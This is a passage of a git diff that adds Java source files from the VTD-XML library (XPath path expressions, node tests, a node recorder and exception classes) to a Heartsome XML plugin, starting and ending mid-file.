ap.selectNameSpace(currentStep.nt.nodeName); + i=0; + vn.push2(); + while(ap.iterateNameSpace()!=-1){ + if (currentStep.evalPredicates(vn,p)){ + i++; + } + } + vn.pop2(); + currentStep.resetP(vn,p); + currentStep.o = ap; + return i; + default: + throw new XPathEvalException("axis not supported"); + } + //return 8; + } + + public void setPosition(int pos){ + + } + + final public int adjust(int n) { + int i; + if (pathType == RELATIVE_PATH) { + i = Math.min(intHash.determineHashWidth(n),6); // hash width 64 + } else { + i = intHash.determineHashWidth(n); + } + if (ih!=null && i<= ih.e) + {} + else + ih = new intHash(i); + Step temp = s; + while(temp!=null){ + temp.adjust(n); + temp = temp.nextS; + } + return i; + } + + final protected void selectNodeType(TextIter ti){ + if (currentStep.nt.testType == NodeTest.TEXT ) + ti.selectText(); + else if (currentStep.nt.testType == NodeTest.COMMENT ) + ti.selectComment(); + else if (currentStep.nt.testType == NodeTest.PI0 ) + ti.selectPI0(); + else { + ti.selectPI1(currentStep.nt.nodeName); + } + + } + + final protected int process_child2(VTDNav vn)throws XPathEvalException,NavException{ + int result; + boolean b = false, b1 = false; + Predicate t= null; + + switch(state){ + case START: + // first search for any predicate that + // requires contextSize + // if so, compute its context size + // if size > 0 + // set context + // if size ==0 + // immediately set the state to backward or end + t = currentStep.p; + while (t != null) { + if (t.requireContext) { + int i = computeContextSize(t, vn); + if (i == 0) { + b1 = true; + break; + } else + t.setContextSize(i); + } + t = t.nextP; + } + if (b1) { + state = END; + break; + } + + b = vn.toNode(VTDNav.FIRST_CHILD); + state = END; + if (b) { + do { + if ((currentStep.nt_eval || currentStep.nt.eval2(vn)) + && ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn))) { + if (currentStep.nextS != null) { + // currentStep.position++; + state = FORWARD; + currentStep = currentStep.nextS; + } else { + state = TERMINAL; + result = vn.getCurrentIndex(); + if (isUnique(result)) { + return result; + } + } + break; + } + } while (vn.toNode(VTDNav.NS)); + if (state == END) + vn.toNode(VTDNav.PARENT); + } + break; + + case END: + currentStep = null; + // reset(); + return -1; + + case FORWARD: + + t = currentStep.p; + while (t != null) { + if (t.requireContext) { + int i = computeContextSize(t, vn); + if (i == 0) { + b1 = true; + break; + } else + t.setContextSize(i); + } + t = t.nextP; + } + if (b1) { + currentStep = currentStep.prevS; + state = BACKWARD; + break; + } + + state = BACKWARD; + forward: if (vn.toNode(VTDNav.FC)) { + do { + if ((currentStep.nt_eval || currentStep.nt.eval2(vn)) + && ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn))) { + if (currentStep.nextS != null) { + state = FORWARD; + currentStep = currentStep.nextS; + } else { + state = TERMINAL; + result = vn.getCurrentIndex(); + if (isUnique(result)) + return result; + } + break forward; + } + } while (vn.toNode(VTDNav.NS)); + vn.toNode(VTDNav.P); + if (currentStep.hasPredicate) + currentStep.resetP(vn); + currentStep = currentStep.prevS; + } else { + // vn.toElement(VTDNav.P); + currentStep = currentStep.prevS; + } + + break; + + case BACKWARD: + if (currentStep.out_of_range){ + currentStep.out_of_range = false; + if (currentStep.hasPredicate) + currentStep.resetP(vn); + transition_child(vn); + break; + } + + // currentStep = currentStep.prevS; + //b = false; + while (vn.toNode(VTDNav.NS)) { + if ((currentStep.nt_eval || currentStep.nt.eval2(vn)) + && ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn))) { + b = true; + break; + } + } + if (b) { + state = FORWARD; + currentStep = currentStep.nextS; + } else{ + if (currentStep.hasPredicate) + currentStep.resetP(vn); + transition_child(vn); + } + + break; + + case TERMINAL: + if (currentStep.out_of_range){ + currentStep.out_of_range = false; + if (currentStep.hasPredicate) + currentStep.resetP(vn); + transition_child(vn); + break; + } + while (vn.toNode(VTDNav.NS)) { + if ((currentStep.nt_eval || currentStep.nt.eval2(vn)) + && ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn))) { + // state = TERMINAL; + result = vn.getCurrentIndex(); + if (isUnique(result)) + return result; + } + } + if (currentStep.hasPredicate) + currentStep.resetP(vn); + transition_child(vn); + + break; + + default: + throw new XPathEvalException("unknown state"); + } + return -2; + } + + final public boolean isFinal(){ + return (pathType == ABSOLUTE_PATH); + } + + final public void markCacheable(){ + Step temp = s; + while(temp!=null){ + if (temp.p!=null){ + if (temp.p.expr!=null ){ + if (temp.p.expr.isFinal() && temp.p.expr.isNodeSet()){ + CachedExpr ce = new CachedExpr(temp.p.expr); + temp.p.expr = ce; + } + temp.p.expr.markCacheable2(); + } + } + temp = temp.nextS; + } + } + + final public void markCacheable2(){ + markCacheable(); + } + + final public void clearCache(){ + Step temp = s; + while(temp!=null){ + if (temp.p!=null){ + temp.p.expr.clearCache(); + } + temp = temp.nextS; + } + } +} + diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/ModifyException.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/ModifyException.java new file mode 100644 index 0000000..972bea2 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/ModifyException.java @@ -0,0 +1,33 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ + +package com.ximpleware; + +/** + * XMLModifier throws ModifierException when there is an + * exception condition during modification of XML + */ +public class ModifyException extends VTDException { + public ModifyException(){ + super(); + } + public ModifyException(String s){ + super(s); + } + +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/NavException.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/NavException.java new file mode 100644 index 0000000..725fef4 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/NavException.java @@ -0,0 +1,37 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware; +/** + * This exception is for any exception conditions during navigation phase. + * Creation date: (11/19/03 11:42:28 AM) + */ +public class NavException extends VTDException { +/** + * NavException constructor comment. + */ +public NavException() { + super(); +} +/** + * NavException constructor comment. + * @param s java.lang.String + */ +public NavException(String s) { + super(s); +} +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/NodeRecorder.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/NodeRecorder.java new file mode 100644 index 0000000..d3b3586 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/NodeRecorder.java @@ -0,0 +1,520 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware; + +/** + * Node record allows one to record the node position of VTDNav. You + * can store/load multiple node position using NodeRecorder, which is + * also more spatially efficient than . However, the + * internal representation of node is variable in length and recording a large + * number of nodes could consume much memory. It is a bad idea to + * record every node of an document. So be careful when using it. + */ +public class NodeRecorder { + protected VTDNav vn; + + protected FastIntBuffer fib; + + public final static int BUF_SZ_EXPO = 7;// buffer page size is now 128 + + int size; // in # of nodes + + int position; // in # of nodes + + int count; // in # of ints + + /** + * The parameter-less constructor + * + */ + public NodeRecorder() { + vn = null; + size = position = 0; + fib = new FastIntBuffer(BUF_SZ_EXPO); + } + + /** + * + * @param vn1 + */ + public NodeRecorder(VTDNav vn1) { + bind(vn1); + size = position = count = 0; + fib = new FastIntBuffer(BUF_SZ_EXPO); + } + + public void bind(VTDNav vn1) { + if (vn1 == null) + throw new IllegalArgumentException( + "NodeRecorder can't take a null VTDNav instatnce"); + vn = vn1; + } + + /** + * This function records the position of VN into the internal buffer + * + */ + public void record() { + //add the context and + int i; + switch (vn.context[0]) { + case -1: + fib.append(0xff | 0x80000000); + size++; + position++; + count++; + break; + case 0: + if (vn.atTerminal == false) { + fib.append(0); + count++; + } else { + fib.append(0x80000000); + count += 2; + } + size++; + position++; + if (vn.atTerminal == true) + fib.append(vn.LN); + break; + case 1: + if (vn.atTerminal == false) { + fib.append(1); + fib.append(vn.context[1]); + fib.append(vn.l1index); + size++; + position++; + count += 3; + } else { + fib.append(0x80000001); + fib.append(vn.context[1]); + fib.append(vn.l1index); + fib.append(vn.LN); + size++; + position++; + count += 4; + } + break; + case 2: + if (vn.atTerminal == false) { + fib.append(2); + count += 7; + } else { + fib.append(0x80000002); + count += 8; + } + fib.append(vn.context[1]); + fib.append(vn.context[2]); + fib.append(vn.l1index); + fib.append(vn.l2lower); + fib.append(vn.l2upper); + fib.append(vn.l2index); + size++; + position++; + + if (vn.atTerminal == true) + fib.append(vn.LN); + + break; + case 3: + if (vn.atTerminal == false) { + fib.append(3); + count += 11; + } else { + fib.append(0x80000003); + count += 12; + } + fib.append(vn.context[1]); + fib.append(vn.context[2]); + fib.append(vn.context[3]); + fib.append(vn.l1index); + fib.append(vn.l2lower); + fib.append(vn.l2upper); + fib.append(vn.l2index); + fib.append(vn.l3lower); + fib.append(vn.l3upper); + fib.append(vn.l3index); + size++; + position++; + + if (vn.atTerminal == true) + fib.append(vn.LN); + + break; + default: + if (vn.shallowDepth) { + if (vn.atTerminal == false) { + i = vn.context[0]; + fib.append(i); + count += i + 8; + } else { + i = vn.context[0]; + fib.append(i | 0x80000000); + count += i + 9; + } + for (int k = 1; k <= i; k++) { + fib.append(vn.context[k]); + } + fib.append(vn.l1index); + fib.append(vn.l2lower); + fib.append(vn.l2upper); + fib.append(vn.l2index); + fib.append(vn.l3lower); + fib.append(vn.l3upper); + fib.append(vn.l3index); + size++; + position++; + + if (vn.atTerminal) + fib.append(vn.LN); + }else{ + VTDNav_L5 vnl = (VTDNav_L5)vn; + switch (vn.context[0]) { + case 4: + + if (vn.atTerminal == false) { + fib.append(4); + count += 15; + } else { + fib.append(0x80000004); + count += 16; + } + fib.append(vn.context[1]); + fib.append(vn.context[2]); + fib.append(vn.context[3]); + fib.append(vn.context[4]); + fib.append(vn.l1index); + fib.append(vn.l2lower); + fib.append(vn.l2upper); + fib.append(vn.l2index); + fib.append(vn.l3lower); + fib.append(vn.l3upper); + fib.append(vn.l3index); + fib.append(vnl.l4lower); + fib.append(vnl.l4upper); + fib.append(vnl.l4index); + size++; + position++; + + if (vn.atTerminal == true) + fib.append(vn.LN); + + break; + case 5: + if (vn.atTerminal == false) { + fib.append(5); + count += 19; + } else { + fib.append(0x80000005); + count += 20; + } + fib.append(vn.context[1]); + fib.append(vn.context[2]); + fib.append(vn.context[3]); + fib.append(vn.context[4]); + fib.append(vn.context[5]); + fib.append(vn.l1index); + fib.append(vn.l2lower); + fib.append(vn.l2upper); + fib.append(vn.l2index); + fib.append(vn.l3lower); + fib.append(vn.l3upper); + fib.append(vn.l3index); + fib.append(vnl.l4lower); + fib.append(vnl.l4upper); + fib.append(vnl.l4index); + fib.append(vnl.l5lower); + fib.append(vnl.l5upper); + fib.append(vnl.l5index); + size++; + position++; + + if (vn.atTerminal == true) + fib.append(vn.LN); + + break; + default: + if (vn.atTerminal == false) { + i = vn.context[0]; + fib.append(i); + count += i + 14; + } else { + i = vn.context[0]; + fib.append(i | 0x80000000); + count += i + 15; + } + for (int k = 1; k <= i; k++) { + fib.append(vn.context[k]); + } + fib.append(vn.l1index); + fib.append(vn.l2lower); + fib.append(vn.l2upper); + fib.append(vn.l2index); + fib.append(vn.l3lower); + fib.append(vn.l3upper); + fib.append(vn.l3index); + fib.append(vnl.l4lower); + fib.append(vnl.l4upper); + fib.append(vnl.l4index); + fib.append(vnl.l5lower); + fib.append(vnl.l5upper); + fib.append(vnl.l5index); + size++; + position++; + + if (vn.atTerminal) + fib.append(vn.LN); + } + + } + + } + } + + /** + * resetPointer() will set the pointer to the first node in NodeRecorder + * This method is called when one wants to read the nodes in the nodeRecorder + * + */ + public void resetPointer() { + position = 0; + count=0; + } + + /** + * Clear will erase all the nodes, internal buffers are reused + * + */ + public void clear() { + size = position = count = 0; + fib.clear(); + } + + /** + * This method set the cursor in VTDNav to the nodes as recorded + * in NodeRecorder, and return the output of "getCurrentIndex()" + * It is important to notice that you can only go forward, not + * backward + * @return int + * + */ + public int iterate() { + int j, i; + if (count < fib.size) { + i = fib.intAt(count); + boolean b = (i >= 0); + if (b == false) { + i = i & 0x7fffffff; + } + switch (i) { + case 0xff: + vn.context[0] = -1; + vn.atTerminal = false; + count++; + break; + + case 0: + vn.context[0] = 0; + if (b == false) { + vn.atTerminal = true; + vn.LN = fib.intAt(count + 1); + count += 2; + } else { + vn.atTerminal = false; + count++; + } + + break; + + case 1: + vn.context[0] = 1; + vn.context[1] = fib.intAt(count + 1); + vn.l1index = fib.intAt(count + 2); + if (b == false) { + vn.atTerminal = true; + vn.LN = fib.intAt(count + 3); + count += 4; + } else { + vn.atTerminal = false; + count += 3; + } + + break; + + case 2: + vn.context[0] = 2; + vn.context[1] = fib.intAt(count + 1); + vn.context[2] = fib.intAt(count + 2); + vn.l1index = fib.intAt(count + 3); + vn.l2lower = fib.intAt(count + 4); + vn.l2upper = fib.intAt(count + 5); + vn.l2index = fib.intAt(count + 6); + if (b == false) { + vn.atTerminal = true; + vn.LN = fib.intAt(count + 7); + count += 8; + } else { + vn.atTerminal = false; + count += 7; + } + + break; + + case 3: + vn.context[0] = 3; + vn.context[1] = fib.intAt(count + 1); + vn.context[2] = fib.intAt(count + 2); + vn.context[3] = fib.intAt(count + 3); + vn.l1index = fib.intAt(count + 4); + vn.l2lower = fib.intAt(count + 5); + vn.l2upper = fib.intAt(count + 6); + vn.l2index = fib.intAt(count + 7); + vn.l3lower = fib.intAt(count + 8); + vn.l3upper = fib.intAt(count + 9); + vn.l3index = fib.intAt(count + 10); + if (b == false) { + vn.atTerminal = true; + vn.LN = fib.intAt(count + 11); + count += 12; + } else { + vn.atTerminal = false; + count += 11; + } + + break; + + default: + if (vn.shallowDepth) { + vn.context[0] = i; + for (j = 1; j < i; j++) { + vn.context[j] = fib.intAt(count + j); + } + vn.l1index = fib.intAt(count + i); + vn.l2lower = fib.intAt(count + i + 1); + vn.l2upper = fib.intAt(count + i + 2); + vn.l2index = fib.intAt(count + i + 3); + vn.l3lower = fib.intAt(count + i + 4); + vn.l3upper = fib.intAt(count + i + 5); + vn.l3index = fib.intAt(count + i + 6); + if (b == false) { + vn.atTerminal = true; + vn.LN = fib.intAt(count + 11); + count += i + 8; + } else { + vn.atTerminal = false; + count += i + 7; + } + break; + } else { + VTDNav_L5 vnl = (VTDNav_L5) vn; + switch (i) { + case 4: + vn.context[0] = 4; + vn.context[1] = fib.intAt(count + 1); + vn.context[2] = fib.intAt(count + 2); + vn.context[3] = fib.intAt(count + 3); + vn.context[4] = fib.intAt(count + 4); + vn.l1index = fib.intAt(count + 5); + vn.l2lower = fib.intAt(count + 6); + vn.l2upper = fib.intAt(count + 7); + vn.l2index = fib.intAt(count + 8); + vn.l3lower = fib.intAt(count + 9); + vn.l3upper = fib.intAt(count + 10); + vn.l3index = fib.intAt(count + 11); + vnl.l4lower = fib.intAt(count + 12); + vnl.l4upper = fib.intAt(count + 13); + vnl.l4index = fib.intAt(count + 14); + if (b == false) { + vn.atTerminal = true; + vn.LN = fib.intAt(count + 15); + count += 16; + } else { + vn.atTerminal = false; + count += 15; + } + + break; + + case 5: + vn.context[0] = 5; + vn.context[1] = fib.intAt(count + 1); + vn.context[2] = fib.intAt(count + 2); + vn.context[3] = fib.intAt(count + 3); + vn.context[4] = fib.intAt(count + 4); + vn.context[5] = fib.intAt(count + 5); + vn.l1index = fib.intAt(count + 6); + vn.l2lower = fib.intAt(count + 7); + vn.l2upper = fib.intAt(count + 8); + vn.l2index = fib.intAt(count + 9); + vn.l3lower = fib.intAt(count + 10); + vn.l3upper = fib.intAt(count + 11); + vn.l3index = fib.intAt(count + 12); + vnl.l4lower = fib.intAt(count + 13); + vnl.l4upper = fib.intAt(count + 14); + vnl.l4index = fib.intAt(count + 15); + vnl.l5lower = fib.intAt(count + 16); + vnl.l5upper = fib.intAt(count + 17); + vnl.l5index = fib.intAt(count + 18); + if (b == false) { + vn.atTerminal = true; + vn.LN = fib.intAt(count + 19); + count += 20; + } else { + vn.atTerminal = false; + count += 19; + } + + break; + + default: + vn.context[0] = i; + for (j = 1; j < i; j++) { + vn.context[j] = fib.intAt(count + j); + } + vn.l1index = fib.intAt(count + i); + vn.l2lower = fib.intAt(count + i + 1); + vn.l2upper = fib.intAt(count + i + 2); + vn.l2index = fib.intAt(count + i + 3); + vn.l3lower = fib.intAt(count + i + 4); + vn.l3upper = fib.intAt(count + i + 5); + vn.l3index = fib.intAt(count + i + 6); + vnl.l4lower = fib.intAt(count + i + 7); + vnl.l4upper = fib.intAt(count + i + 8); + vnl.l4index = fib.intAt(count + i + 9); + vnl.l5lower = fib.intAt(count + i + 10); + vnl.l5upper = fib.intAt(count + i + 11); + vnl.l5index = fib.intAt(count + i + 12); + if (b == false) { + vn.atTerminal = true; + vn.LN = fib.intAt(count + i + 13); + count += i + 14; + } else { + vn.atTerminal = false; + count += i + 13; + } + break; + } + } + } + position++; + return vn.getCurrentIndex(); + } + return -1; + } + +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/NodeTest.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/NodeTest.java new file mode 100644 index 0000000..0369c19 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/NodeTest.java @@ -0,0 +1,142 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware; +//import com.ximpleware.xpath.LocationPathNode; +/** + * This class is used within LocationPathExpr to represent + * Nodetest + * + */ +public class NodeTest /*implements LocationPathNode*/{ + public String nodeName; + public String prefix; + public String localName; + public String URL; + boolean nsEnabled; + public int testType; + public int type; //0 for *, 1 for node name, 2 for local name +URL + + public static final int + NAMETEST = 0, + NODE =1, + TEXT =2, + PI0=3, + PI1 = 4, + COMMENT = 5; + public NodeTest(){ + nsEnabled = false; + localName = null; + } + /*public void setNsEnabled(boolean b){ + nsEnabled = b; + }*/ + final public void setTestType(int t){ + testType = t; + } + final public void setNodeName(String s){ + nodeName = s; + if (s.equals("*")) + type = 0; + else + type = 1; + } + final public void setNodeNameNS(String p, String ln){ + prefix = p; + localName = ln; + type = 2; + } + public boolean eval(VTDNav vn)throws NavException{ + /*if (testType == NODE) + return true;*/ + //else if(testType == NAMETEST){ + if (vn.atTerminal) + return false; + switch(type){ + case 0: return true; + case 1: return vn.matchElement(nodeName); + case 2: return vn.matchElementNS(URL,localName); + } + //} + return false; + } + + public boolean eval2(VTDNav vn)throws NavException{ + switch(testType){ + case NAMETEST: + if (vn.atTerminal) + return false; + switch(type){ + case 0: return true; + case 1: return vn.matchElement(nodeName); + case 2: return vn.matchElementNS(URL,localName); + } + case NODE: + return true; + case TEXT: + if (!vn.atTerminal) + return false; + int t = vn.getTokenType(vn.LN); + if (t== VTDNav.TOKEN_CHARACTER_DATA + || t == VTDNav.TOKEN_CDATA_VAL){ + return true; + } + return false; + + case PI0: + if (!vn.atTerminal) + return false; + if (vn.getTokenType(vn.LN)== VTDNav.TOKEN_PI_NAME){ + return true; + } + return false; + case PI1: + if (!vn.atTerminal) + return false; + if (vn.getTokenType(vn.LN)== VTDNav.TOKEN_PI_NAME){ + return vn.matchTokenString(vn.LN, nodeName); + } + return false; + + default: // comment + if (!vn.atTerminal) + return false; + if (vn.getTokenType(vn.LN)== VTDNav.TOKEN_COMMENT){ + return true; + } + return false; + } + } + + final public String toString(){ + switch (testType){ + case NAMETEST : + if (localName == null) + return nodeName; + else + return prefix+":"+localName; + case NODE: return "node()"; + case TEXT: return "text()"; + case PI0: return "processing-instruction()"; + case PI1: return (nodeName.indexOf('"')>0)? + "processing-instruction('"+nodeName+"')" + :"processing-instruction(\""+nodeName+"\")"; + default: return "comment()"; + } + } + +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/ParseException.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/ParseException.java new file mode 100644 index 0000000..7c9036c --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/ParseException.java @@ -0,0 +1,38 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware; + +/** + * This class is for any exception condition in the parsing phase. + * Creation date: (11/19/03 11:43:03 AM) + */ +public class ParseException extends VTDException { +/** + * ParseException constructor comment. + */ +public ParseException() { + super(); +} +/** + * ParseException constructor comment. + * @param s java.lang.String + */ +public ParseException(String s) { + super(s); +} +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/PathExpr.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/PathExpr.java new file mode 100644 index 0000000..8ab8089 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/PathExpr.java @@ -0,0 +1,271 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware; + + +/** + * PathExpr implements the Path expression as defined + * in XPath spec + * + */ +public class PathExpr extends Expr { + + Expr fe; + LocationPathExpr lpe; + //boolean first_time; + int evalState; + //FastIntBuffer fib; + intHash ih; + + //public int getPositon(){ + // return fib.size(); + //} + + public PathExpr(Expr f, LocationPathExpr l){ + fe = f; + lpe = l; + //first_time = true; + evalState = 0; + //fib = new FastIntBuffer(8); + ih = new intHash(); + } + + final public boolean evalBoolean(VTDNav vn) { + boolean a = false; + vn.push2(); + // record teh stack size + int size = vn.contextStack2.size; + try{ + a = (evalNodeSet(vn) != -1); + }catch (Exception e){ + } + //rewind stack + vn.contextStack2.size = size; + reset(vn); + vn.pop2(); + return a; + } + + + final public double evalNumber(VTDNav vn) { + double d = Double.NaN; + int a = -1; + vn.push2(); + int size = vn.contextStack2.size; + try { + a = evalNodeSet(vn); + if (a != -1) { + int t = vn.getTokenType(a); + if (t == VTDNav.TOKEN_ATTR_NAME) { + d = vn.parseDouble(a+1); + } else if (t == VTDNav.TOKEN_STARTING_TAG || t ==VTDNav.TOKEN_DOCUMENT) { + String s = vn.getXPathStringVal(); + d = Double.parseDouble(s); + }else if (t == VTDNav.TOKEN_PI_NAME) { + if (a+1 < vn.vtdSize || vn.getTokenType(a+1)==VTDNav.TOKEN_PI_VAL) + //s = vn.toString(a+1); + d = vn.parseDouble(a+1); + else + d = Double.NaN; + }else + d = vn.parseDouble(a); + } + } catch (Exception e) { + + } + vn.contextStack2.size = size; + reset(vn); + vn.pop2(); + //return s; + return d; + } + + final public int evalNodeSet(VTDNav vn) throws XPathEvalException, NavException { + int a; + while (true) { + switch (evalState) { + case 0: //this state is the initial state; + a = fe.evalNodeSet(vn); + if (a == -1){ + evalState =4; + } + else + evalState = 1; + break; + case 1: // fe returns valid value, then iterate the locationPath + vn.push2(); + a = lpe.evalNodeSet(vn); + if (a == -1) { + lpe.reset(vn); + evalState = 3; + } else { + evalState = 2; + if (isUnique(a)) + return a; + } + break; + case 2: + a = lpe.evalNodeSet(vn); + if (a == -1) { + lpe.reset(vn); + evalState = 3; + } else{ + if (isUnique(a)) + return a; + //return a; + } + break; + case 3: + vn.pop2(); + a = fe.evalNodeSet(vn); + if (a == -1) + evalState = 4; + else{ + vn.push2(); + evalState = 2; + } + break; + case 4: + return -1; + default: + throw new XPathEvalException( + "Invalid state evaluating PathExpr"); + } + } + //return -1; + } + + + final public String evalString(VTDNav vn) { + String s = ""; + int a = -1; + vn.push2(); + int size = vn.contextStack2.size; + try { + a = evalNodeSet(vn); + if (a != -1) { + int t = vn.getTokenType(a); + switch(t){ + case VTDNav.TOKEN_STARTING_TAG: + case VTDNav.TOKEN_DOCUMENT: + s = vn.getXPathStringVal(); + break; + case VTDNav.TOKEN_ATTR_NAME: + s = vn.toString(a + 1); + break; + case VTDNav.TOKEN_PI_NAME: + //if (a + 1 < vn.vtdSize + // || vn.getTokenType(a + 1) == VTDNav.TOKEN_PI_VAL) + s = vn.toString(a + 1); + break; + default: + s = vn.toString(a); + break; + } + } + } catch (Exception e) { + + } + vn.contextStack2.size = size; + reset(vn); + vn.pop2(); + return s; + } +// The improved version, use hashtable to check for uniqueness + final public boolean isUnique(int i){ + return ih.isUnique(i); + + } + + final public void reset(VTDNav vn) { + + fe.reset(vn); + lpe.reset(vn); + //fib.clear(); + ih.reset(); + evalState = 0; + + } + + + final public String toString() { + + return "("+fe +")/" + lpe; + } + + + final public boolean isNumerical() { + return false; + } + + + final public boolean isNodeSet() { + return true; + } + + final public boolean isString(){ + return false; + } + + final public boolean isBoolean(){ + return false; + } + + // to support computer context size + // needs to add + final public boolean requireContextSize(){ + return false; + } + + final public void setContextSize(int size){ + } + + final public void setPosition(int pos){ + + } + + final public int adjust(int n){ + int i = fe.adjust(n); + lpe.adjust(n); + + if (ih!=null && i==ih.e) + {} + else + ih = new intHash(i); + return i; + } + + final public boolean isFinal(){ + return fe.isFinal(); + } + + final public void markCacheable(){ + fe.markCacheable(); + lpe.markCacheable(); + } + + final public void markCacheable2(){ + fe.markCacheable2(); + lpe.markCacheable2(); + } + + final public void clearCache(){ + fe.clearCache(); + lpe.clearCache(); + } +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/PilotException.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/PilotException.java new file mode 100644 index 0000000..8d1db88 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/PilotException.java @@ -0,0 +1,37 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware; +/** + * This class is the base class of all the exceptions of autopilot. + * Creation date: (11/30/03 6:14:43 PM) + */ +public class PilotException extends NavException { +/** + * PilotException constructor comment. + */ +public PilotException() { + super(); +} +/** + * PilotException constructor comment. + * @param s java.lang.String + */ +public PilotException(String s) { + super(s); +} +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/TextIter.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/TextIter.java new file mode 100644 index 0000000..49c1592 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/TextIter.java @@ -0,0 +1,795 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, 